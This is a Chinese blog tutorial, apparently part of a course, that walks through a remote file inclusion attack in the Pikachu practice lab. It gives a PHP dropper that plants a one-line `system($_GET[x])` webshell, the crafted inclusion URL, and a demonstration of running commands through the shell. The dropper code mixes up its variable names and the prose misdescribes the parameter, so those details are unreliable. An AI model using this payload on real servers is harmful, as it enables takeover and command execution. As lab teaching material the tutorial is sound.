7-2远程文件包含漏洞案例讲解和演示

2023-05-16

远程文件包含漏洞测试

 远程文件包含漏洞测试

远程文件包含漏洞

远程文件包含漏洞形式跟本地文件包含漏洞差不多,都是我们的开发人员在后台使用包含函数的时候,没有对它包含的目的地,进行相关的安全措施,导致前端传进来的目标地址,被直接包含进去

在本地文件包含漏洞中,它传进来的,只能是本地的文件,它只能在本地去读取相关路径下的一些文件

在远程包含漏洞中,攻击者可以通过访问外部地址来加载远程的代码

但是在PHP配置里面,我们可以通过一些特殊的配置,允许这个包含函数,去通过一些协议,比如http、ftp这样的协议,去远程访问,远程站点上的代码文件,然后包含到本地来执行,在默认情况下,include和require是不支持远程的去包含文件,但是在特定的情况下,我们可以通过配置,允许它去远程调用文件

远程包含漏洞前提:如果使用的incldue和require,则需要php.ini配置如下(php5.4.34):

allow_url_fopen = on //默认打开
Allow_url_include=on //这个是比较危险的选项,默认关闭

我们把这两个锁都打开了,这样就意味着,我们允许include和requier,通过远程包含的方式,去调用远端的代码文件,所以说,远程文件包含漏洞跟本地文件包含漏洞,其实它形成的原因是一样的,都是我们的包含函数对前端传进来的目标文件进行包含的时候,没有进行相关的处理,只不过远程包含文件漏洞,在后台,默认打开,允许url远程包含选项,这是它唯一的区别

远程文件包含漏洞:写入一句话木马

在这里插入图片描述

本地文件包含漏洞它的利用是有限的,因为你只能去读本地的配置文件,你还得猜到对应文件的路径,相对来说,危害会低一些,但是远程文件包含漏洞就不一样了,因为它可以允许远程包含函数去读取远程站点上的代码文件,那就意味着。攻击者,可以自己搭一个站点,然后再上面放一个代码,这个代码文件就是攻击者自己控制的,它想怎么写就怎么写,然后在把对应的路径通过前端传到后台,那后台的包含函数,就会对远程路径下的文件进行加载,这个危害是非常大的,比如说,我们可以直接在远端去写一句话木马,然后让本地去执行,这意味着,我们直接把一句话木马,就放到了我们的目标站点上,然后就是实现了目标站点上的远程控制

远程文件包含漏洞演示

我们选择远程文件包含场景,跟刚刚一样,选一个场景,点提交

在这里插入图片描述

它会打出一个对应的图片,实际上它提交的是一个目标文件的路径,这个时候,我们可以把它改成远端的路径,让它去读取我们远程的文件

我们打开远端的yijuhua.txt,

http://192.168.42.236/pikachu/test/yijuhua.txt

在这里插入图片描述

<?php 
$file = fopen("yijuhua.php","w");
$txt = '<?php system($_GET[x]);?>';
fwrite($myfile,$txt);
fclose($myfile);
?>

我们直接写了个fopen,去在本地打开文件流,然后新建yijuhua.php,然后把它这个内容,实际上,也就是一句话木马,写到文件里面去,close掉,这样就意味着,一旦这个代码被执行,用户在本地去生成一句话木马.php,然后里面的内容就是system函数,它接受远端的post请求,传过来123参数的值,那这个system函数,是php下面,用来直接执行操作系统的函数,所有传过来的参数,都会当成参数来执行

我们把filename的路径改成远端的路径就可以了,

http://192.168.42.236/pikachu/vul/fileinclude/fi_remote.php?filename=http://192.168.42.236/pikachu/test/yijuhua.txt&submit=Submit+Query

在这里插入图片描述

点提交,这边并没有任何的反馈,我们看一下后端服务器上,

C:\phpStudy\WWW\pikachu\vul\fileinclude

在这里插入图片描述

我们看一下里面的内容

在这里插入图片描述

这个就是我们刚刚写进去的system函数,然后,我们就可以远程的调用它,这边还有一个点,我们得知道写进去的php文件在那个目录下面,这个其实也很重要,因为我们要去访问它,一般来说,它会跟当前的页面在同一级目录下面,也就是说,在fileinclude页面下,我们把后面的删掉,然后在这里访问我们的yijuhua.php,然后这边传个x的参数,写个对应参数的命令,ipconfig,

http://192.168.42.236/pikachu/vul/fileinclude/yijuhua.php?x=ipconfig

在这里插入图片描述

我们传进去的ipconfig,交给system执行了,然后把对应的结果返回回来了,那这样就意味着,你可以通过x接口,控制这台服务器,OK,这就是远程文件包含漏洞

我们来看一下,后端的代码,fi_remote.php

在这里插入图片描述

其实它的代码逻辑跟我们讲的本地文件包含漏洞逻辑是一样的,同样也是前端传进来的文件,并没有做任何的过滤,也没有做白名单限制,然后就直接把它include去包含了,只不过在这个场景下面,php.ini,是我们手动改过的,我们把默认允许远程访问的选项给打开了,这样子就相当于允许,include去远程调用文件,这样就形成了问题

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

7-2远程文件包含漏洞案例讲解和演示 的相关文章

  • Ceph安装步骤2——ceph存储池

    Ceph安装步骤1完成之后 xff0c 即可进行该步骤的操作 本文中以对sas池进行操作为例 一 创建Ceph Pool 1 计算每个池所需要的PG数目 在创建池之前 xff0c 首先需要计算PG数目 xff08 简单来说 xff0c PG
  • scrapy安装笔记并使用

    1 安装方法 xff1a Linux Mac xff1a pip install scrapy windows 简单使用直接pip install scrapy即可 1 pip install wheel 用于安装twisted 2 下载t
  • rosbag库的安装

    Output 1 python3 m pip install bagpy 2 python3 m pip install roslz4 extra index url https rospypi github io simple 1 安装a
  • 下载安装dingding

    百度搜索钉钉官网 xff1a https page dingtalk com wow z dingtalk simple ddhomedownlaod 下载安装包 xff1a com alibabainc dingtalk 1 4 0 20
  • su认证失败

    sudo passwd
  • 2021.12.30遇到的错误:No module named ‘paddle‘

    实际上已经安装了paddlepaddle xff0c 但不知为何又报这个错误 根据提示可知原因为未安装paddle 于是又去安装百度飞桨官网安装paddle 安装命令为 python span class token operator sp
  • 计组第六课

    汇编语言的组成 1 汇编指令 xff1a 机器码的助记符 xff0c 有对应机器码 2 伪指令 xff1a 无对应机器码 xff0c 由编译器执行 xff0c 没有对应机器码 3 其他符号 xff1a 如 43 等 xff0c 由编译器识别
  • GitLab秘钥添加

    前提 xff1a 下载Git Bash软件 xff0c 并拥有GitLab账号 1 选择用户主目录 xff08 C 用户 用户名 xff09 下 xff0c 新建一个文件夹 直接修改其文件名为 ssh会提示 必须输入文件名 xff0c 修改
  • C++/C sort函数用法(详细),cmp的构造--一学就会,一用就对

    sort函数 sort是c 43 43 STL标准库中提到的基于快速排序的排序函数 xff0c 在做题的时候使用sort函数很方便 xff0c 使用sort要使用 include 快速排序具有不稳定性 不稳定性是指 xff0c 对于指定区域
  • 远程桌面蓝屏解决办法

    远程桌面蓝屏解决方法 原理 xff1a 重新启动远程桌面进程 操作 xff1a Ctrl Alt End 进入任务管理器 选择expolrer exe结束进程 切换到C盘的Windows目录 运行expolrer exe
  • DPU环境配置

    DPU 型号 xff1a MBF2M516A CEEOT xff08 全高半长 xff08 FHHL xff09 DPU xff09 DPU 类型 xff1a NVIDIA BlueField 2 Ethernet DPU 操作系统 xff
  • s3cmd安装及配置

    一 安装s3cmd 安装命令如下所示 xff1a yum y install python pip pip install s3cmd 二 配置s3cmd 配置s3cmd有两种方式 xff1a 1 使用s3cmd configure方式配置
  • C++中cin输入过程中如何处理ctrl+c输入

    引子 今天在写一个while true 循环程序 xff0c 程序中有用到SetConsoleCtrlHandler函数处理CTRL 43 C输入 xff0c 用到cin输入时不小心按下ctrl 43 c进入了无限循环 xff0c cin不
  • 如果正确修改数据库编码为utf8仍然无法插入中文可以试试用Navicat插入数据

    我的MySQL编码已经修改为utf8 但是仍然无法插入中文数据 如下 这是我的MySQL编码格式 此时插入中文数据就会报错 我的解决办法是使用Navicat插入数据 使用eclipse连接并输出后可以正常执行 lt 64 page lang
  • 如何用LaTeX写一个PPT

    如何用LaTeX写一个PPT 说到写PPT大家一般会想到的是微软的Microsoft PowerPoint xff0c 因为他更易于制作并且拥有丰富的动画 xff0c 但是当你需要制作一个学术相关的ppt时 xff0c 你需要更好的排版以及
  • Ubuntu 22.04图形界面的卸载

    如果你想在 Ubuntu 上卸载图形界面 xff0c 可以按照以下步骤操作 xff1a 进入终端界面 xff1a 按下 Ctrl 43 Alt 43 F3 xff08 或者其他 F1 F6 xff09 可以切换到终端界面 xff0c 然后使
  • 百鸡百钱问题

    我国古代数学家张丘建在 算经 一书中曾提出过著名的 百钱买百鸡 问题 该问题叙述如下 xff1a 鸡翁一 xff0c 值钱五 xff1b 鸡母一 xff0c 值钱三 xff1b 鸡雏三 xff0c 值钱一 xff1b 百钱买百鸡 xff0c
  • 2.【已修复】windows10更新:你的设备中缺少重要的安全和质量修复。

    问题 xff1a 由于自己给笔记本重装Windows10 专业版系统 xff0c 用一段时间后发现系统更新失败 xff0c 更新错误 xff1a 你的设备中缺少重要的安全和质量修复 危 xff1a 电脑有问题先备份资料 解决问题 xff1a
  • Python实现用户注册登录功能

    一 环境 python3 43 vscode 二 文件 xff1a 程序文件 用户 管理员 注册 登陆 py 启动标记文件 flag txt gt 文件内容 xff1a 0 三 程序步骤分块 xff1a 主程序入口 初次启动后 xff0c

随机推荐

  • 5.MySQL建立表的关系(外键)

    目录 1 前言 2 表与表关系 1 一对多关系 2 多对多关系 xff1a 3 一对一关系 3 对表总结 xff1a 4 补充 xff1a 1 修改表 2 复制表 1 前言 1 方法 xff1a foreign key xff1a 外键 外
  • 41.Django之web注册登录修改注销功能实现

    目录 1 django配置步骤 2 django链接数据库 MySQL 3 利用orm创建数据库表 4 django的myweb01项目中的url py添加路由 5 django的app01应用中的views py添加逻辑函数 6 temp
  • 1. 403 错误 html

    目录 1 效果图 2 code 3 使用 1 效果图 2 code lt DOCTYPE html gt lt html lang zh gt lt head gt lt meta charset utf 8 gt lt title gt
  • linux vi/vim命令学习

    一 依据个人理解 xff0c vi和vim主要有以下几点区别 xff1a 1 vim命令编辑脚本时 xff0c 能够检查出一些基本的语法错误 xff0c 比如括号匹配等 xff0c vi命令不具有这一功能 2 一般linux系统安装时都是自
  • 2. 404 错误 html

    目录 1 效果图 2 code 3 使用 1 效果图 2 code lt DOCTYPE html gt lt html gt lt head gt lt meta charset utf 8 gt lt title gt 404 lt t
  • 3. 500 服务器异常 html

    目录 1 效果图 2 code 1 效果图 2 code lt DOCTYPE html gt lt html gt lt head gt lt meta charset utf 8 gt lt title gt 500 lt title
  • 蓝桥杯之单片机学习(三)——共阳数码管的静态显示

    文章目录 一 训练任务二 训练重点三 训练准备3 1 原理图展示3 2 数字对照表3 3 数码管分路3 4 一些解释 四 代码实现注意事项 一 训练任务 在CT107D单片机综合训练平台上 xff0c 8个数码管分别依次显示0 9的值 xf
  • Dockerfile 定制专属镜像|果断收藏

    前言 大家好 xff0c 本文是对 Docker 自定义镜像的详细讲解 xff0c 讲解了如何进行构建自己的 Docker 镜像以及 Dockerfile 的操作指令 希望对大家有所帮助 一 使用 Dockerfile 定制镜像 1 1 D
  • 蓝桥杯python组练题第六天——七段码——蓝桥杯官网题库

    单词分析 题目描述 本题为填空题 xff0c 只需要算出结果后 xff0c 在代码中使用输出语句将所填结果输出即可 不建议写代码 小蓝要用七段码数码管来表示一种特殊的文字 上图给出了七段码数码管的一个图示 xff0c 数码管中一共有 7 段
  • Ubuntu22.04开机网络无法连接,ping不通解决方案

    从前天开始 xff0c 虚拟机不知道为什么开机之后就无法联网 xff0c 也ping不通 xff0c 而且ifconfig显示我只有lo 没有ens33 xff0c 之后就开始找解决方案 失败的方案有很多 xff0c 比如 xff1a 重置
  • 计蒜客 T1096 石头剪刀布--C语言

    计蒜客 T1096 石头剪刀布 题目 石头剪刀布是常见的猜拳游戏 石头胜剪刀 xff0c 剪刀胜布 xff0c 布胜石头 如果两个人出拳一样 xff0c 则不分胜负 一天 xff0c 小 AA 和小 BB 正好在玩石头剪刀布 已知他们的出拳
  • AT89C52流水灯+外部中断INT0+定时器(汇编语言)

    AT89C52流水灯 43 外部中断INT0 43 定时器 xff08 汇编语言 xff09 任务要求 用 AT89S52 单片机控制彩灯 xff08 流水灯 xff09 图形及继电器 即 xff1a AT89S52 单片机上电时控制由发光
  • 【Verilog】通过任务(task)完成3个8bit数据的冒泡排序

    题目 xff1a 设计一个模块 xff0c 通过任务完成3个8位2进制输入数据的冒泡排序 要求 xff1a 时钟触发任务的执行 xff0c 每个时钟周期完成一次数据交换的操作 Verilog代码 xff1a module sort inpu
  • 官网下载JAVA的JDK11版本(下载、安装、配置环境变量)

    目录 前言必读 xff1a 一 下载JDK11 1 先去浏览器搜索 2 选择Products 3 Java 4 往下滑找到Oracle JDK 然后点击 5 往下滑找到Java11 xff0c 再选择自己的操作系统 6 选择exe这个直接安
  • linux命令学习之————ls,pwd,cd,hostnamectl,systemctl

    这几条命令之间没有什么联系 xff0c 随便写写 一 ls命令 1 显示当前目录下所包含的文件或目录名 xff1a ls 2 显示当前目录下所包含的文件或目录的详细信息 xff1a ls l 3 显示当前目录下所包含的文件或目录的详细信息
  • win10系统重装(超简单)

    目录 前言 操作步骤 第一步 xff1a 格式化硬盘 第二步 xff1a 硬盘重新分区 固态硬盘分区 机械硬盘分区 完成效果展示 第三步 xff1a 把ISO镜像文件写入固态硬盘 第四步 xff1a 关机拔u盘 第五步 xff1a 开机重装
  • 字符串中数据的排序

    题目 xff1a 有一个字符串 xff1a 91 27 46 38 50 xff0c 请写程序实现最终输出结果 xff1a 27 38 46 50 91 思路 xff1a 给数据排序 xff0c 我们首先想到的就是数组的排序方法 xff0c
  • Hadoop的shell命令

    Hadoop的shell命令 启动Hadoop常见的shell命令 与Linux系统命令差不多 xff0c 但小部分有区别 帮助命令 help 显示目录信息 ls 创建文件夹 mkdir 删除文件或文件夹 xff08 rm xff09 移动
  • Arduino连接ESP8266实现联网功能

    目录 1 前期准备 2 ESP8266代码 3 Arduino代码 4 易联智能 由于自己是物联网工程专业的学生 xff0c 所以对于一些单片机等硬件都必须要有一些了解 xff0c 接着这次做课设的机会 xff0c 我打算将自己的这次做课设
  • 7-2远程文件包含漏洞案例讲解和演示

    远程文件包含漏洞测试 远程文件包含漏洞测试 远程文件包含漏洞 远程文件包含漏洞形式跟本地文件包含漏洞差不多 xff0c 都是我们的开发人员在后台使用包含函数的时候 xff0c 没有对它包含的目的地 xff0c 进行相关的安全措施 xff0c